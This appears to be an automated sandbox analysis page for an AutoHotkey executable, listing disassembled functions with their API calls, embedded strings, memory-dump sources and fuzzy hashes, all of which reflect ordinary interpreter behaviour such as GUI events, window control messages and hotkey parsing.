Opcode Fuzzy Hash: c688eb51930ecc157e41a313c9c3f02277e4adaa2edb498bb05281aa5c2edab1
Instruction Fuzzy Hash: 32E1F475A043158FD720DF18E884AABB3E0FF98318F54466EE88487351D739ED45CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004692E0 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 254COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 00469301
__wcsicoll.LIBCMT ref: 004693A9
__wcsicoll.LIBCMT ref: 00469419

Strings

DropFiles, xrefs: 0046952F
%sGui, xrefs: 0046934B
Close, xrefs: 00469375
Size, xrefs: 0046944F
ContextMenu, xrefs: 004694BF
Escape, xrefs: 004693DF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$_wcsncpy
String ID: %sGui$Close$ContextMenu$DropFiles$Escape$Size
API String ID: 1630244902-459179435
Opcode ID: 6c8b669a4cf9f6029a7de1300a9f8d20cc7bbaca72cf777a2e42330d7500d1ca
Instruction ID: 79b713c29b83cc6e6738679a1b91edd8b1da29a349eac7874f2905f20a31e913
Opcode Fuzzy Hash: 6c8b669a4cf9f6029a7de1300a9f8d20cc7bbaca72cf777a2e42330d7500d1ca
Instruction Fuzzy Hash: 9081C672A04311ABCB309A25890176773ACDF44B54F09852FEC469B390F7B8DD44C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0045D0D0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 133windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000020), ref: 0045D0DC
SendMessageTimeoutW.USER32(?,-00000186,-00000001,00000000,00000002,000007D0,?), ref: 0045D11E
GetParent.USER32 ref: 0045D134
SetLastError.KERNEL32(00000000,?,?,-00000186,-00000001,00000000,00000002,000007D0,?), ref: 0045D146
GetDlgCtrlID.USER32 ref: 0045D14D
GetLastError.KERNEL32(?,?,?,-00000186,-00000001,00000000,00000002,000007D0,?), ref: 0045D159
SendMessageTimeoutW.USER32(00000000,00000111,?,?,00000002,000007D0,000000FF), ref: 0045D186
SendMessageTimeoutW.USER32(00000000,00000111,00000002,?,00000002,000007D0,000000FF), ref: 0045D1AE
GetWindowLongW.USER32(?,000000F0), ref: 0045D1D4
SendMessageTimeoutW.USER32(?,0000018F,000000FF,?,00000002,000007D0,?), ref: 0045D219
SendMessageTimeoutW.USER32(?,00000185,00000001,?,00000002,000007D0,?), ref: 0045D23D

Strings

List, xrefs: 0045D1BD
Combo, xrefs: 0045D0E6

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSendTimeout$ErrorLast$ClassCtrlLongNameParentWindow
String ID: Combo$List
API String ID: 3027087493-1246219895
Opcode ID: ef129067999bef400f8e05023ce942ed20a4bf264de08b383603054c49b7800a
Instruction ID: 1002a0c3e8bf59e926bd215a63b685782d33f75976acad839a098172391b1207
Opcode Fuzzy Hash: ef129067999bef400f8e05023ce942ed20a4bf264de08b383603054c49b7800a
Instruction Fuzzy Hash: 9841D770E443056AEB309E209C46F7B36A8DF81B15F00432BBE61E51D1DBA8DD09876E

Uniqueness

Uniqueness Score: -1.00%

Function 00443510 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 289COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0044355F

Strings

%sTop, xrefs: 00443687
%sRight, xrefs: 004436B7
%sBottom, xrefs: 004436E7
h, xrefs: 00443568
Parameter #2 invalid., xrefs: 0044353B
%sLeft, xrefs: 0044364B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _memset
String ID: %sBottom$%sLeft$%sRight$%sTop$Parameter #2 invalid.$h
API String ID: 2102423945-3189716140
Opcode ID: 62bb67ba8cfece099b3783ee2055a4841b46c58e790949c2e800b90c3d7ccb8e
Instruction ID: 5e59367a2bde35653378ee9dc7d4b08c4ec1fa378b09e9dd043d59967f9f4f98
Opcode Fuzzy Hash: 62bb67ba8cfece099b3783ee2055a4841b46c58e790949c2e800b90c3d7ccb8e
Instruction Fuzzy Hash: 8291B8727042006BD210EE1ADC41FABB3E9EBC8B15F10452FF948D7381DA79ED1587AA

Uniqueness

Uniqueness Score: -1.00%

Function 00474310 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 204windowCOMMON

Download Yara Rule

APIs

GetPropW.USER32(?,ahk_autosize), ref: 00474324
RemovePropW.USER32(?,ahk_autosize), ref: 0047433F
GetWindowRect.USER32(?,?), ref: 0047437E
GetWindowRect.USER32(?,?), ref: 004743BF
MapWindowPoints.USER32(00000000,00000013,?,00000002), ref: 00474400
GetWindowLongW.USER32(?,000000F0), ref: 0047441C
SendMessageW.USER32(-00000002,0000132C,00000000,00000000), ref: 00474455
MoveWindow.USER32(-00000002,?,?,?,?,00000001), ref: 0047447B
SendMessageW.USER32(?,0000132C,00000000,00000000), ref: 00474499
SendMessageW.USER32(00000000,0000130A,00000000,?), ref: 004744BD
MoveWindow.USER32(?,?,?,?,?,00000001,?,0000132C,00000000,00000000), ref: 0047452B

Strings

ahk_autosize, xrefs: 0047431E, 00474339

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$MessageSend$MovePropRect$LongPointsRemove
String ID: ahk_autosize
API String ID: 2074670510-1503521729
Opcode ID: 28bbb96a771ac7b2c1b53a417d579e4529955bdc2ae1ede548b6c4d2eda1f5e9
Instruction ID: 0dc2a9467b1efd1957a04ca1bdc87b88fff03d19751790e13abef286f0d54ef7
Opcode Fuzzy Hash: 28bbb96a771ac7b2c1b53a417d579e4529955bdc2ae1ede548b6c4d2eda1f5e9
Instruction Fuzzy Hash: FC814475608301AFC710CF68C984BABBBE5BBC8704F04892EF9899B351D778E945CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0045C000 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(advapi32,?,00000000), ref: 0045C014
GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 0045C049
FreeLibrary.KERNEL32(00000000,?,00000000), ref: 0045C058
_memset.LIBCMT ref: 0045C08A
CloseHandle.KERNEL32(?), ref: 0045C130
GetLastError.KERNEL32 ref: 0045C152
FreeLibrary.KERNEL32(00000000), ref: 0045C15F

Strings

D, xrefs: 0045C097
RunAs: Missing advapi32.dll., xrefs: 0045C02D
CreateProcessWithLogonW., xrefs: 0045C06B
advapi32, xrefs: 0045C00B
CreateProcessWithLogonW, xrefs: 0045C043

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Library$Free$AddressCloseErrorHandleLastLoadProc_memset
String ID: CreateProcessWithLogonW$CreateProcessWithLogonW.$D$RunAs: Missing advapi32.dll.$advapi32
API String ID: 3715048715-4276146922
Opcode ID: e63bbc3262f253f694936329519fee49380352b4e04c3e97fe56c1d4a8cbd1ac
Instruction ID: 0c49a8820e290968571d2decf6b4e379b08762c088879228e3c1070381f135ab
Opcode Fuzzy Hash: e63bbc3262f253f694936329519fee49380352b4e04c3e97fe56c1d4a8cbd1ac
Instruction Fuzzy Hash: 05418F717803019FD7209E698CC0BAB77E8EB85B51F10442AFD41DB381DB79D8088B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004634A0 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 131COMMON

Download Yara Rule

APIs

StringFromGUID2.OLE32(-00000014,?,00000028), ref: 004635E6

Part of subcall function 00463400: _free.LIBCMT ref: 0046348C

Strings

Prefix, xrefs: 004635C8
Name, xrefs: 00463548
DispatchIID, xrefs: 0046355E
EventSink, xrefs: 00463592
Value, xrefs: 00463508
IID, xrefs: 00463609
DispatchType, xrefs: 0046354D
VarType, xrefs: 00463530
object, xrefs: 004634D1, 0046358D
Object, xrefs: 004635B6
IID, xrefs: 00463559

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: FromString_free
String ID: DispatchIID$DispatchType$EventSink$IID$IID$Name$Object$Prefix$Value$VarType$object
API String ID: 3170056605-2444924249
Opcode ID: f2b3a6fa0764475c99783b8feb7454649b5ba1f27450d87999055e3417577f94
Instruction ID: dfdaf3971884d6f93db2ad7068facebb3646b936989471ef27e244219beb91f8
Opcode Fuzzy Hash: f2b3a6fa0764475c99783b8feb7454649b5ba1f27450d87999055e3417577f94
Instruction Fuzzy Hash: C2416D74604341AFC308DF18C845F2AB7E5BF98705F108A1EF499873A0E7B8EA45CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00460560 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 004606CF
__wcsicoll.LIBCMT ref: 004606E8
__wcsicoll.LIBCMT ref: 0046073C
SysStringLen.OLEAUT32(?), ref: 0046076E
SysFreeString.OLEAUT32(?), ref: 00460782
__wcsicoll.LIBCMT ref: 004607A1
StringFromGUID2.OLE32(?,?,00000100,?,?,?,?,?,?,?,00000000), ref: 004607D2

Strings

class, xrefs: 004606C9
clsid, xrefs: 004606E2
name, xrefs: 004606DB, 00460736
iid, xrefs: 004606F4, 0046079B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$String$FreeFrom
String ID: class$clsid$iid$name
API String ID: 2668509760-3724380462
Opcode ID: 67b8acc52ed2975123f794cc20fc8599720baca964bc0db7aaa7bf7647a280a7
Instruction ID: 31089808e51fb001f5152fd142a90f08d6abbaadf20ff87af51ff87068724f2d
Opcode Fuzzy Hash: 67b8acc52ed2975123f794cc20fc8599720baca964bc0db7aaa7bf7647a280a7
Instruction Fuzzy Hash: 1081BCB5600201AFDB10DF19D881B2BB3E4EF84315F14856EF9468B391E739EC15CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0045D2FC Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 244windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041C620: __wcsicoll.LIBCMT ref: 0041C638

Part of subcall function 0044DE50: GetForegroundWindow.USER32(?,?,00440955,?), ref: 0044DE7E
Part of subcall function 0044DE50: IsWindowVisible.USER32(00000000), ref: 0044DE99

SendMessageTimeoutW.USER32(00000000,000000F0,00000000,00000000,00000002,000007D0,?), ref: 0045D388
IsWindowEnabled.USER32(00000000), ref: 0045D3BC
IsWindowVisible.USER32(00000000), ref: 0045D3E6
SendMessageTimeoutW.USER32(00000000,0000130B,00000000,00000000,00000002,000007D0,?), ref: 0045D424
GetClassNameW.USER32(00000000,?,00000020), ref: 0045D45A
GetClassNameW.USER32(00000000,?,00000020), ref: 0045D4B7
SendMessageTimeoutW.USER32(00000000,00000188,00000000,00000000,00000002,000007D0,?), ref: 0045D51B
SendMessageTimeoutW.USER32(00000000,0000018A,?,00000000,00000002,000007D0,?), ref: 0045D541
SendMessageTimeoutW.USER32(00000000,00000189,?,00000000), ref: 0045D59A
GetClassNameW.USER32(00000000,?,00000020), ref: 0045D63F

Strings

SysListView32, xrefs: 0045D648
Combo, xrefs: 0045D463, 0045D4C0

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSendTimeout$Window$ClassName$Visible$EnabledForeground__wcsicoll
String ID: Combo$SysListView32
API String ID: 4132077911-871643043
Opcode ID: 8545957c2536aa354c25947f10f36821f35fdc7a26605fe58a8b6d0b53404981
Instruction ID: c3236d36069c15bf255d8f55c4635ef5e0cc49e1d6ec847ebbaf4688681b57ac
Opcode Fuzzy Hash: 8545957c2536aa354c25947f10f36821f35fdc7a26605fe58a8b6d0b53404981
Instruction Fuzzy Hash: 4F71B471F442097BDB20DBA48C86FBF73689F45B11F10461ABE14AB2C1DBB8AD05875D

Uniqueness

Uniqueness Score: -1.00%

Function 00414510 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 239COMMON

Download Yara Rule

Strings

@, xrefs: 004145D9

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 988ffa64b856b7e4df0d0abba3c9521e3e5a57e697933b19cb8b34d638dc1b2d
Instruction ID: f9a3469c407ff64a3f2716cfff3a29ba68359cc7bcd3ccceb251460952475391
Opcode Fuzzy Hash: 988ffa64b856b7e4df0d0abba3c9521e3e5a57e697933b19cb8b34d638dc1b2d
Instruction Fuzzy Hash: 3091E3306193809ED711DF24D850BA6BFE1EF86350F49817FE5848B3A2DB788848DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00412000 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 235COMMON

Download Yara Rule

APIs

Part of subcall function 0047FFB0: _vswprintf_s.LIBCMT ref: 0047FFC9

__itow.LIBCMT ref: 0041208B
__swprintf.LIBCMT ref: 004121FC

Strings

(no), xrefs: 00412282
%s%s%s%s%s%s, xrefs: 004122AA
OFF, xrefs: 00412171, 0041218D, 0041229C
%i-%i, xrefs: 004121F6
PART, xrefs: 004121C1
TypeOff?LevelRunningName-------------------------------------------------------------------, xrefs: 0041200F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __itow__swprintf_vswprintf_s
String ID: %i-%i$%s%s%s%s%s%s$(no)$OFF$PART$TypeOff?LevelRunningName-------------------------------------------------------------------
API String ID: 726126973-1635122839
Opcode ID: decf72f1a5f004fbc94b7610e5c4b5b6f4ad4cf187a60a483437537c0d362a26
Instruction ID: e192f332c92596dfcebd7c2db3f6f7e976affffdd68e73fb01a7b6457a9322e9
Opcode Fuzzy Hash: decf72f1a5f004fbc94b7610e5c4b5b6f4ad4cf187a60a483437537c0d362a26
Instruction Fuzzy Hash: 42811431208341AADB24DF25CA40BB777E0AF89304F14496FE98AC7351E7BCD9A5C35A

Uniqueness

Uniqueness Score: -1.00%

Function 0043F3B0 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 167COMMON

Download Yara Rule

Strings

Stopped, xrefs: 0043F592
NewInput, xrefs: 0043F580
EndKey, xrefs: 0043F55C
Timeout, xrefs: 0043F3D5
EndKey:, xrefs: 0043F414
Max, xrefs: 0043F56E
Match, xrefs: 0043F3E7
sc%03X, xrefs: 0043F51D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: EndKey$EndKey:$Match$Max$NewInput$Stopped$Timeout$sc%03X
API String ID: 0-3482771585
Opcode ID: 8c59cb50e2edd92ab8d2f82dbb654abfe8fbb5c9fa71daab41c26d3b179181d4
Instruction ID: 30819489645a39f5ca8486b46b9b4c4e20cb2169673f3609196ace4d8fd2aad9
Opcode Fuzzy Hash: 8c59cb50e2edd92ab8d2f82dbb654abfe8fbb5c9fa71daab41c26d3b179181d4
Instruction Fuzzy Hash: 71518F72B0425066D7308B2DA8017F7B7A0DFD9315F04843FE58586382E66EA99DC77E

Uniqueness

Uniqueness Score: -1.00%

Function 00475140 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 156COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 00475190
__wcsnicmp.LIBCMT ref: 004751D2
_wcschr.LIBCMT ref: 00475232
GetKeyboardLayout.USER32(00000000), ref: 00475257
CharLowerW.USER32(?,00000000,?,?), ref: 00475262

Strings

Alt, xrefs: 004751E4
Ctrl, xrefs: 004751CC
Shift, xrefs: 004751FC

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcschr$CharKeyboardLayoutLower__wcsnicmp
String ID: Alt$Ctrl$Shift
API String ID: 1244995357-3426316353
Opcode ID: b5a9b7bda12d872fd194647517356463686ba369b6cb745242fed19be2bbe0bd
Instruction ID: 033e89f8a70af2edb5ec74b45c500071ce13adcd8f067c91c9c70a60226b8c40
Opcode Fuzzy Hash: b5a9b7bda12d872fd194647517356463686ba369b6cb745242fed19be2bbe0bd
Instruction Fuzzy Hash: 2C41482294471056DB345B548802BE7BBE4DF51312F18C85BF8889F2C2F3EC9988D7EA

Uniqueness

Uniqueness Score: -1.00%

Function 004046C0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 123sleepwindowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(AutoHotkey,02C4017C), ref: 0040473A
FindWindowW.USER32(AutoHotkey,02C4017C), ref: 0040479C
PostMessageW.USER32(00000000,00000044,00000406,00000000), ref: 004047AF
Sleep.KERNEL32(00000014,?,?,?,?,?,00404346), ref: 004047BF
IsWindow.USER32(00000000), ref: 004047C8
Sleep.KERNEL32(00000014,?,?,?,?,?,00404346), ref: 004047FA
IsWindow.USER32(00000000), ref: 004047FD
Sleep.KERNEL32(00000064,?,?,?,?,?,00404346), ref: 00404805

Strings

An older instance of this script is already running. Replace it with this instance?Note: To avoid this message, see #SingleInsta, xrefs: 0040476F
AutoHotkey, xrefs: 00404735, 00404797
Could not close the previous instance of this script. Keep waiting?, xrefs: 004047E3

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$Sleep$Find$MessagePost
String ID: An older instance of this script is already running. Replace it with this instance?Note: To avoid this message, see #SingleInsta$AutoHotkey$Could not close the previous instance of this script. Keep waiting?
API String ID: 1104075879-579680267
Opcode ID: f119834dc0c98846b0b8871a56cee225f2a22efa849bba68ae9893dc82d13b16
Instruction ID: 92fb2ce671a2138742f7eff805c54740d54856b0f0f5962dee0aef5a07e5abb1
Opcode Fuzzy Hash: f119834dc0c98846b0b8871a56cee225f2a22efa849bba68ae9893dc82d13b16
Instruction Fuzzy Hash: 8031D2B2B422059AE7307358EC45B2A3794DBC3728F160037E701E72E0C7B89C4183AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045D019 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 004142C0: __fassign.LIBCMT ref: 004142D0

GetClassNameW.USER32(?,?,00000020), ref: 0045D043
GetWindowLongW.USER32(?,000000F0), ref: 0045D095
SendMessageTimeoutW.USER32(?,-00000186,-00000001,00000000,00000002,000007D0,?), ref: 0045D11E
GetParent.USER32 ref: 0045D134
SetLastError.KERNEL32(00000000,?,?,-00000186,-00000001,00000000,00000002,000007D0,?), ref: 0045D146
GetDlgCtrlID.USER32 ref: 0045D14D
GetLastError.KERNEL32(?,?,?,-00000186,-00000001,00000000,00000002,000007D0,?), ref: 0045D159
SendMessageTimeoutW.USER32(00000000,00000111,?,?,00000002,000007D0,000000FF), ref: 0045D186
SendMessageTimeoutW.USER32(00000000,00000111,00000002,?,00000002,000007D0,000000FF), ref: 0045D1AE

Strings

List, xrefs: 0045D07E
Combo, xrefs: 0045D04D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSendTimeout$ErrorLast$ClassCtrlLongNameParentWindow__fassign
String ID: Combo$List
API String ID: 2104288607-1246219895
Opcode ID: 99f8e3ba44cc00bfc8254b6a9d8757a639de66430857f4d61280d14a8e99a449
Instruction ID: 64f394173fa6ce294eadd19af5878517337a2685a3f9cd86112ab4450a6cda27
Opcode Fuzzy Hash: 99f8e3ba44cc00bfc8254b6a9d8757a639de66430857f4d61280d14a8e99a449
Instruction Fuzzy Hash: BF31D970F443056AE7309F609C86F7B76A8DF85B11F00062BBE15EA1D2DAACDC498769

Uniqueness

Uniqueness Score: -1.00%

Function 0047C620 Relevance: 18.3, APIs: 12, Instructions: 325registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,00000000,?), ref: 0047C68C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000,?,?,00000000,00000000,?), ref: 0047C6AF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
